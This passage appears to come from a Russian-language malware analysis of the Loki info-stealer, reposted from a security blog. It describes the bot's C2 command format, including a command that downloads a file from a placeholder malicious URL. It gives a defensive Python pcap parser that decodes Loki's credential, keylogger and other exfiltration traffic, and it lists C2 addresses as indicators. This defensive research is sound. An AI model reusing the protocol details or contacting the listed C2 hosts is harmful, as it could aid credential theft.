00 00 00] [00 00 00 0F] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe #16 Изменение частоты проверки ответа от сервера [00 00 00 00] [00 00 00 10] [00 00 00 00] [00 00 00 01] 5 #17 Удалить Loki и завершить работу [00 00 00 00] [00 00 00 11] [00 00 00 00] [00 00 00 00] - Парсер сетевого трафика Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki. Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki. Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде. for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf) if not isinstance(eth.data, dpkt.ip.IP): ip = dpkt.ip.IP(buf) else: ip = eth.data if isinstance(ip.data, dpkt.tcp.TCP): tcp = ip.data try: if tcp.dport == 80 and len(tcp.data) > 0: # HTTP REQUEST if str(tcp.data).find('POST') != -1: http += 1 httpheader = tcp.data continue else: if httpheader != "": print('Request information:') pkt = httpheader + tcp.data httpheader = "" if debug: print(pkt) req += 1 request = dpkt.http.Request(pkt) uri = request.headers['host'] + request.uri parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src) parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst) parsed_payload_same['Network']['CnC'] = uri parsed_payload['Network']['HTTP Method'] = request.method if uri.find("fre.php"): print("Loki detected!") pt = parseLokicontent(tcp.data, debug) parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent'] print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4)) parsed_payload['Network'].clear() parsed_payload['Compromised Host/User Data'].clear() parsed_payload['Malware Artifacts/IOCs'].clear() print("----------------------") if tcp.sport == 80 and len(tcp.data) > 0: # HTTP RESPONCE resp += 1 if pt == 40: print('Responce information:') parseC2commands(tcp.data, debug) print("----------------------") pt = 0 except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError): continue Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные. def parseLokicontent(data, debug):
index = 0 botV = int.from_bytes(data[0:2], byteorder=sys.byteorder) parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] = botV payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder) index = 4 print("Payload type: : %s" % payloadtype) if payloadtype == 39: parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Application/Credential Data" parse_type27(data, debug) elif payloadtype == 40: parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands" parse_type28(data, debug) elif payloadtype == 43: parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data" parse_type2b(lb_payload) elif payloadtype == 38: parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet" elif payloadtype == 41: parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files" elif payloadtype == 42: parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data" elif payloadtype == 44: parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots" return payloadtype Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера. def parseC2commands(data, debug):
word = 2 dword = 4 end = data.find(b'\r\n\r\n') if end != -1: index = end + 4 if (str(data).find('<html>')) == -1: if debug: print(data) fullsize = getDWord(data, index) print("Body size: : %s" % fullsize) index += dword count = getDWord(data, index) print("Commands: : %s" % count) if count == 0: print('No commands received') else: index += dword for i in range(count): print("Command: %s" % (i + 1)) id = getDWord(data, index) print("Command ID: %s" % id) index += dword type = getDWord(data, index) print("Command type: %s" % type) index += dword timelimit = getDWord(data, index) print("Command timelimit: %s" % timelimit) index += dword datalen = getDWord(data, index) index += dword command_data = getString(data, index, datalen) print("Command data: %s" % command_data) index += datalen else: print('No commands received') return None На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате. Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях. Request information:
Loki detected! Payload type: 39 Decompressed data: {'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}} {'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n <Profiles />\r\n</NppFTP>\r\n'}} { "Network": { "Source IP": "-", "Destination IP": "185.141.27.187", "HTTP Method": "POST", "Traffic Purpose": "Exfiltrate Application/Credential Data", "First Transmission": true }, "Compromised Host/User Data": {}, "Malware Artifacts/IOCs": {} } Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:
Request information:
Loki detected! Payload type: 39 No data stolen { "Network": { "Source IP": "-", "Destination IP": "185.141.27.187", "HTTP Method": "POST", "Traffic Purpose": "Exfiltrate Application/Credential Data", "First Transmission": false }, "Compromised Host/User Data": {}, "Malware Artifacts/IOCs": {} } Второй запрос имеет тип 0x28 и запрашивает команды от сервера. Responce information:
Body size: 26 Commands: 1 Command: 1 Command ID: 0 Command type: 9 Command timelimit: 0 Command data: 35 Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера. Request information:
Loki detected! Payload type: : 43 { "Network": { "Source IP": "-", "Destination IP": "185.141.27.187", "HTTP Method": "POST", "Traffic Purpose": "Exfiltrate Keylogger Data" }, "Compromised Host/User Data": {}, "Malware Artifacts/IOCs": {} } В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле. General information:
{ "Network": { "CnC": "nganyin-my.com/chief6/five/fre.php" }, "Compromised Host/User Description": { "User Name": "-", "Hostname": "-", "Domain Hostname": "-", "Screen Resolution": "1024x768", "Local Admin": true, "Built-In Admin": true, "64bit OS": false, "Operating System": "Windows 7 Workstation" }, "Malware Artifacts/IOCs": { "Loki-Bot Version": 18, "Binary ID": "ckav.ru", "MD5 from GUID": "-", "User-Agent String": "Mozilla/4.08 (Charon; Inferno)" } } Requests: 3 Responces: 3 Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser Заключение В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день. В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО. Indicator of Compromise (IOCs): Urls:
=========== Источник: habr.com =========== Похожие новости:
Блог компании Group-IB ), #_itinfrastruktura ( IT-инфраструктура ), #_informatsionnaja_bezopasnost ( Информационная безопасность ), #_issledovanija_i_prognozy_v_it ( Исследования и прогнозы в IT ), #_reversinzhiniring ( Реверс-инжиниринг ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 18:48
Часовой пояс: UTC + 5